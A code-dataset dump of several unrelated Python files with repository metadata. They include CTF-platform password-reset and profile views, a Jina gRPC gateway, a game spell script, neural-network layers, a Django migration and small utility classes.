render_template('reset_password.html', errors=['Your link appears broken, please try again.']) team = Teams.query.filter_by(name=name).first_or_404() password = request.form['password'].strip() name = team.name pass_short = len(password) == 0 pass_long = len(password) > 32 #http://stackoverflow.com/questions/19605150/regex-for-password-must-be-contain-at-least-8-characters-least-1-number-and-bot errors = [] if pass_short: errors.append('Pick a longer password') if pass_long: errors.append('Pick a shorter password') if len(errors) > 0: return render_template('reset_password.html', errors=errors) shell = xmlrpclib.ServerProxy('http://localhost:8000',allow_none=True) shell.change_user(name, password) team.password = bcrypt_sha256.encrypt(password) db.session.commit() db.session.close() return redirect(url_for('auth.login')) if request.method == 'POST': email = request.form['email'].strip() team = Teams.query.filter_by(email=email).first() if not team: return render_template('reset_password.html', errors=['If that account exists you will receive an email, please check your inbox']) s = TimedSerializer(app.config['SECRET_KEY']) token = s.dumps(team.name) text = """ Did you initiate a password reset? {0}/{1} """.format(url_for('auth.reset_password', _external=True), urllib.quote_plus(token.encode('base64'))) sendmail(email, text) return render_template('reset_password.html', errors=['If that account exists you will receive an email, please check your inbox']) return render_template('reset_password.html') def profile(): if authed(): if request.method == "POST": errors = [] name = request.form.get('name') email = request.form.get('email') website = request.form.get('website') affiliation = request.form.get('affiliation') country = request.form.get('country') user = Teams.query.filter_by(id=session['id']).first() if not get_config('prevent_name_change'): names = Teams.query.filter_by(name=name).first() name_len = len(request.form['name']) < 2 emails = Teams.query.filter_by(email=email).first() valid_email = re.match(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", email) password = request.form['password'].strip() pass_short = len(password) == 0 pass_long = len(password) > 32 if ('password' in request.form.keys() and not len(request.form['password']) == 0) and \ (not bcrypt_sha256.verify(request.form.get('confirm').strip(), user.password)): errors.append("Your old password doesn't match what we have.") if not valid_email: errors.append("That email doesn't look right") if not get_config('prevent_name_change') and names and name != session['username']: errors.append('That team name is already taken') if emails and emails.id != session['id']: errors.append('That email has already been used') if not get_config('prevent_name_change') and name_len: errors.append('Pick a longer team name') if website.strip() and not validate_url(website): errors.append("That doesn't look like a valid URL") if pass_short: errors.append('Pick a longer password') if pass_long: errors.append('Pick a shorter password') if len(errors) > 0: return render_template('profile.html', name=name, email=email, website=website, affiliation=affiliation, country=country, errors=errors) else: team = Teams.query.filter_by(id=session['id']).first() if not get_config('prevent_name_change'): team.name = name if team.email != email.lower(): team.email = email.lower() if get_config('verify_emails'): team.verified = False session['username'] = team.name if 'password' in request.form.keys() and not len(request.form['password']) == 0: team.password = bcrypt_sha256.encrypt(request.form.get('password')) password = request.form['password'].strip() team.website = website team.affiliation = affiliation team.country = country name = team.name if password: shell = xmlrpclib.ServerProxy('http://localhost:8000',allow_none=True) shell.change_user(name, password) db.session.commit() db.session.close() return redirect(url_for('views.profile')) else: user = Teams.query.filter_by(id=session['id']).first() name = user.name email = user.email website = user.website affiliation = user.affiliation country = user.country prevent_name_change = get_config('prevent_name_change') confirm_email = get_config('verify_emails') and not user.verified return render_template('profile.html', name=name, email=email, website=website, affiliation=affiliation, country=country, prevent_name_change=prevent_name_change, confirm_email=confirm_email) else: return redirect(url_for('auth.login')) app.view_functions['auth.reset_password'] = reset_password app.view_functions['auth.register'] = register app.view_functions['views.profile'] = profile

45.609023

170

0.548714

1,337

12,132

4.857143

0.18923

0.047428

0.036957

0.020942

0.542039

0.486911

0.456113

0.421466

0.395904

0.352941

0

0.012757

0.334487

12,132

265

171

45.781132

0.791553

0.021513

0

0.356808

0

0.00939

0.162228

0.010619

0

1

0.028169

false

0.215962

0.070423

0

0.187793

0.018779

0

null

0

null

0

1

0

1

1a08401fb30f5417d31f50f1d14aadf818b0ffd5

1,056

py

Python

arsenyinfo/src/utils.py

cortwave/camera-model-identification

b2cbac93308bd6e1bc9d38391f5e97f48da99263

[ "BSD-2-Clause" ]

6

2018-02-09T11:40:29.000Z

2021-06-14T06:08:50.000Z

arsenyinfo/src/utils.py

cortwave/camera-model-identification

b2cbac93308bd6e1bc9d38391f5e97f48da99263

[ "BSD-2-Clause" ]

null

arsenyinfo/src/utils.py

cortwave/camera-model-identification

b2cbac93308bd6e1bc9d38391f5e97f48da99263

[ "BSD-2-Clause" ]

7

2018-02-09T11:41:11.000Z

2021-06-14T06:08:52.000Z

import logging import subprocess logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(name)s: %(message)s (%(asctime)s; %(filename)s:%(lineno)d)', datefmt="%Y-%m-%d %H:%M:%S", ) logger = logging.getLogger(__name__) def get_img_attributes(fname): # ToDo: this should be refactored to be faster s = subprocess.run([f'identify', '-verbose', f'{fname}'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) s = s.stdout.decode().split('\n') try: quality = int(list(filter(lambda x: 'Quality' in x, s))[0].split(': ')[-1]) except Exception: logger.exception(f'Can not parse {fname} quality') quality = 0 try: soft = [x for x in s if 'Software' in x] if soft: soft = soft[0].split(': ')[-1].lower() else: soft = '' except Exception: logger.exception(f'Can not parse {fname} software') soft = '' return quality, soft

29.333333

105

0.535038

127

1,056

4.401575

0.511811

0.050089

0.025045

0.107335

0.168157

0

0.006878

0.311553

1,056

35

106

30.171429

0.762036

0.041667

0

0.222222

0

0.037037

0.193069

0.023762

0

0.028571

0

1

0.037037

false

0

0.074074

0

0.148148

0

null

0

null

0

1

0

1

1a0dcd546c9fb9cfb2c22a03b6cf3ce13d629047

3,531

py

Python

jina/peapods/peas/gateway/grpc/__init__.py

yk/jina

ab66e233e74b956390f266881ff5dc4e0110d3ff

[ "Apache-2.0" ]

1

2020-12-23T08:58:49.000Z

jina/peapods/peas/gateway/grpc/__init__.py

yk/jina

ab66e233e74b956390f266881ff5dc4e0110d3ff

[ "Apache-2.0" ]

null

jina/peapods/peas/gateway/grpc/__init__.py

yk/jina

ab66e233e74b956390f266881ff5dc4e0110d3ff

[ "Apache-2.0" ]

null

import asyncio import argparse import os from multiprocessing.synchronize import Event from typing import Union, Dict import grpc import zmq.asyncio from .async_call import AsyncPrefetchCall from ... import BasePea from ....zmq import send_message_async, recv_message_async, _init_socket from .....enums import SocketType from .....proto import jina_pb2 from .....proto import jina_pb2_grpc __all__ = ['GatewayPea'] class GatewayPea(BasePea): def __init__(self, args: Union['argparse.Namespace', Dict], ctrl_addr: str, ctrl_with_ipc: bool, **kwargs): super().__init__(args, **kwargs) self.ctrl_addr = ctrl_addr self.ctrl_with_ipc = ctrl_with_ipc def run(self, is_ready_event: 'Event'): """Do NOT override this method when inheriting from :class:`GatewayPea`""" try: asyncio.run(self._loop_body(is_ready_event)) except KeyboardInterrupt: self.logger.info('Loop interrupted by user') except SystemError as ex: self.logger.error(f'SystemError interrupted pea loop {repr(ex)}') except Exception as ex: self.logger.critical(f'unknown exception: {repr(ex)}', exc_info=True) finally: self._teardown() async def _wait_for_shutdown(self): """Do NOT override this method when inheriting from :class:`GatewayPea`""" with zmq.asyncio.Context() as ctx, \ _init_socket(ctx, self.ctrl_addr, None, SocketType.PAIR_BIND, use_ipc=True)[0] as sock: msg = await recv_message_async(sock) if msg.request.command == 'TERMINATE': msg.envelope.status.code = jina_pb2.StatusProto.SUCCESS await self.serve_terminate() await send_message_async(sock, msg) async def serve_terminate(self): """Shutdown the server with async interface This method needs to be overridden when inherited from :class:`GatewayPea` """ await self.server.stop(0) async def serve_forever(self, is_ready_event: 'Event'): """Serve an async service forever This method needs to be overridden when inherited from :class:`GatewayPea` """ if not self.args.proxy and os.name != 'nt': os.unsetenv('http_proxy') os.unsetenv('https_proxy') self.server = grpc.aio.server(options=[('grpc.max_send_message_length', self.args.max_message_size), ('grpc.max_receive_message_length', self.args.max_message_size)]) jina_pb2_grpc.add_JinaRPCServicer_to_server(AsyncPrefetchCall(self.args), self.server) bind_addr = f'{self.args.host}:{self.args.port_expose}' self.server.add_insecure_port(bind_addr) await self.server.start() self.logger.success(f'{self.__class__.__name__} is listening at: {bind_addr}') # TODO: proper handling of set_ready is_ready_event.set() await self.server.wait_for_termination() async def _loop_body(self, is_ready_event: 'Event'): """Do NOT override this method when inheriting from :class:`GatewayPea`""" try: await asyncio.gather(self.serve_forever(is_ready_event), self._wait_for_shutdown()) except asyncio.CancelledError: self.logger.warning('received terminate ctrl message from main process') await self.serve_terminate() def __enter__(self): return self

38.802198

112

0.652223

437

3,531

5.022883

0.336384

0.025513

0.032802

0.021868

0.21549

0.185877

0.153986

0

0.002262

0.248938

3,531

90

113

39.233333

0.825415

0.029453

0

0.061538

0

0.124126

0.041265

0

0.011111

0

1

0.046154

false

0

0.2

0.015385

0.276923

0

null

0

null

0

1

0

1

1a0ddf6aed80f212b94b5faabe9879bd5b5f6957

895

py

Python

Spell Compendium/scr/Spell1059 - Improvisation.py

Sagenlicht/ToEE_Mods

a4b07f300df6067f834e09fcbc4c788f1f4e417b

[ "MIT" ]

1

2021-04-26T08:03:56.000Z

Spell Compendium/scr/Spell1059 - Improvisation.py

Sagenlicht/ToEE_Mods

a4b07f300df6067f834e09fcbc4c788f1f4e417b

[ "MIT" ]

2

2021-06-11T05:55:01.000Z

2021-08-03T23:41:02.000Z

Spell Compendium/scr/Spell1059 - Improvisation.py

Sagenlicht/ToEE_Mods

a4b07f300df6067f834e09fcbc4c788f1f4e417b

[ "MIT" ]

1

2021-05-17T15:37:58.000Z

from toee import * def OnBeginSpellCast(spell): print "Improvisation OnBeginSpellCast" print "spell.target_list=", spell.target_list print "spell.caster=", spell.caster, " caster.level= ", spell.caster_level def OnSpellEffect(spell): print "Improvisation OnSpellEffect" spell.duration = spell.caster_level #1 round/cl spellTarget = spell.target_list[0] bonusPool = spell.caster_level * 2 #Luck Pool is twice casterlevel bonusToAdd = spell.caster_level/2 #single bonus cannot exeed half casterlevel spellTarget.obj.condition_add_with_args('sp-Improvisation', spell.id, spell.duration, bonusToAdd, bonusPool, 0, 0, 0) spellTarget.partsys_id = game.particles('sp-Heroism', spellTarget.obj) spell.spell_end(spell.id) def OnBeginRound(spell): print "Improvisation OnBeginRound" def OnEndSpellCast(spell): print "Improvisation OnEndSpellCast"

35.8

121

0.755307

109

895

6.091743

0.422018

0.099398

0.138554

0.051205

0

0.009174

0.147486

895

25

122

35.8

0.861075

0.09162

0

0.225647

0

null

0

0.055556

null

0.333333

0

null

0

null

0

1

0

1

1a118f7d8b03da075a37997cfb06c80ceb08fc58

907

py

Python

mobula/operators/Multiply.py

wkcn/mobula

4eec938d6477776f5f2d68bcf41de83fb8da5195

[ "MIT" ]

47

2017-07-15T02:13:18.000Z

2022-01-01T09:37:59.000Z

mobula/operators/Multiply.py

wkcn/mobula

4eec938d6477776f5f2d68bcf41de83fb8da5195

[ "MIT" ]

3

2018-06-22T13:55:12.000Z

2020-01-29T01:41:13.000Z

mobula/operators/Multiply.py

wkcn/mobula

4eec938d6477776f5f2d68bcf41de83fb8da5195

[ "MIT" ]

8

2017-09-03T12:42:54.000Z

2020-09-27T03:38:59.000Z

from .Layer import * class Multiply(Layer): def __init__(self, models, *args, **kwargs): self.check_inputs(models, 2) Layer.__init__(self, models, *args, **kwargs) def reshape(self): self.Y = np.zeros(self.X[0].shape) def forward(self): self.Y = np.multiply(self.X[0], self.X[1]) def backward(self): self.dX = [np.multiply(self.dY, self.X[1]), np.multiply(self.dY, self.X[0])] class MultiplyConstant(Layer): def __init__(self, model, *args, **kwargs): self.check_inputs(model, 1) Layer.__init__(self, model, *args, **kwargs) self.constant = kwargs["constant"] def reshape(self): self.Y = np.zeros(self.X.shape) def forward(self): self.Y = self.X * self.constant def backward(self): self.dX = self.dY * self.constant Multiply.OP_L = MultiplyConstant Multiply.OP_R = MultiplyConstant

32.392857

84

0.624035

126

907

4.333333

0.253968

0.064103

0.065934

0.06044

0.589744

0.377289

0.113553

0

0.009929

0.222712

907

27

85

33.592593

0.764539

0

0.25

0

0.00882

0

1

0.333333

false

0

0.041667

0

0.458333

0

null

0

null

0

1

0

1

1a1fd264d38d2e67d8ce555d1064ae3d9aad16df

141

py

Python

abc/abc145/abc145b.py

c-yan/atcoder

940e49d576e6a2d734288fadaf368e486480a948

[ "MIT" ]

1

2019-08-21T00:49:34.000Z

abc/abc145/abc145b.py

c-yan/atcoder

940e49d576e6a2d734288fadaf368e486480a948

[ "MIT" ]

null

abc/abc145/abc145b.py

c-yan/atcoder

940e49d576e6a2d734288fadaf368e486480a948

[ "MIT" ]

null

N = int(input()) S = input() if N % 2 == 1: print('No') exit() if S[:N // 2] == S[N // 2:]: print('Yes') else: print('No')

11.75

28

0.411348

24

141

2.416667

0.5

0.103448

0

0.040816

0.304965

141

11

29

12.818182

0.55102

0

0.222222

0

0.049645

0

1

0

false

0

0.333333

1

0

null

0

null

0

1

a7e0cc5a6d14c321badeeffabba58fb153ebc18b

657

py

Python

eap_backend/eap_api/migrations/0005_alter_eapuser_is_active.py

alan-turing-institute/AssurancePlatform

1aa34b544990f981a289f6d21a832657ad19742e

[ "MIT" ]

5

2021-09-28T15:02:21.000Z

2022-03-23T14:37:51.000Z

eap_backend/eap_api/migrations/0005_alter_eapuser_is_active.py

alan-turing-institute/AssurancePlatform

1aa34b544990f981a289f6d21a832657ad19742e

[ "MIT" ]

69

2021-09-28T14:21:24.000Z

2022-03-31T17:12:19.000Z

eap_backend/eap_api/migrations/0005_alter_eapuser_is_active.py

alan-turing-institute/AssurancePlatform

1aa34b544990f981a289f6d21a832657ad19742e

[ "MIT" ]

1

2021-09-28T15:11:00.000Z

# Generated by Django 3.2.8 on 2022-05-31 10:13 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("eap_api", "0004_auto_20220531_0935"), ] operations = [ migrations.AlterField( model_name="eapuser", name="is_active", field=models.BooleanField( default=True, help_text=( "Designates whether this user should be treated as active. " "Unselect this instead of deleting accounts." ), verbose_name="active", ), ), ]

25.269231

81

0.531202

63

657

5.412698

0.84127

0

0.07598

0.378995

657

25

82

26.28

0.759804

0.068493

0

0.157895

1

0

0.252459

0.037705

0

1

0

false

0

0.052632

0

0.210526

0

null

0

1

0

null

0

1

a7e26aa446e86411030f396561a3b8cb6f32b961

465

py

Python

lucid_torch/transforms/monochrome/TFMSMonochromeTo.py

HealthML/lucid-torch

627700a83b5b2690cd8f95010b5ed439204102f4

[ "MIT" ]

1

2021-08-20T07:38:09.000Z

lucid_torch/transforms/monochrome/TFMSMonochromeTo.py

HealthML/lucid-torch

627700a83b5b2690cd8f95010b5ed439204102f4

[ "MIT" ]

5

2021-03-19T15:50:42.000Z

2022-03-12T00:53:17.000Z

lucid_torch/transforms/monochrome/TFMSMonochromeTo.py

HealthML/lucid-torch

627700a83b5b2690cd8f95010b5ed439204102f4

[ "MIT" ]

null

import torch class TFMSMonochromeTo(torch.nn.Module): def __init__(self, num_dimensions: int = 3): super(TFMSMonochromeTo, self).__init__() if not isinstance(num_dimensions, int): raise TypeError() elif num_dimensions < 2: raise ValueError() self.num_dimensions = num_dimensions def forward(self, data: torch.Tensor): return data.expand(data.shape[0], self.num_dimensions, *data.shape[2:])

31

79

0.658065

55

465

5.309091

0.527273

0.267123

0.174658

0

0.011268

0.236559

465

14

80

33.214286

0.811268

0

1

0.181818

false

0

0.090909

0.454545

0

null

1

0

null

0

1

a7e93039a39687c72a48499f5a446f6400a42bad

412

py

Python

data-structures/trees/node/node.py

b-ritter/python-notes

e08e466458b8a2987c0abe42674da4066c763e74

[ "MIT" ]

1

2017-05-04T18:48:45.000Z

data-structures/trees/node/node.py

b-ritter/python-notes

e08e466458b8a2987c0abe42674da4066c763e74

[ "MIT" ]

null

data-structures/trees/node/node.py

b-ritter/python-notes

e08e466458b8a2987c0abe42674da4066c763e74

[ "MIT" ]

null

class Node(): def __init__(self, value=None): self.children = [] self.parent = None self.value = value def add_child(self, node): if type(node).__name__ == 'Node': node.parent = self self.children.append(node) else: raise ValueError def get_parent(self): return self.parent.value if self.parent else 'root'

27.466667

59

0.553398

48

412

4.541667

0.4375

0.137615

0

0.342233

412

15

59

27.466667

0.804428

0

0.01937

0

1

0.230769

false

0

0.076923

0.384615

0

null

0

null

0

1

0

1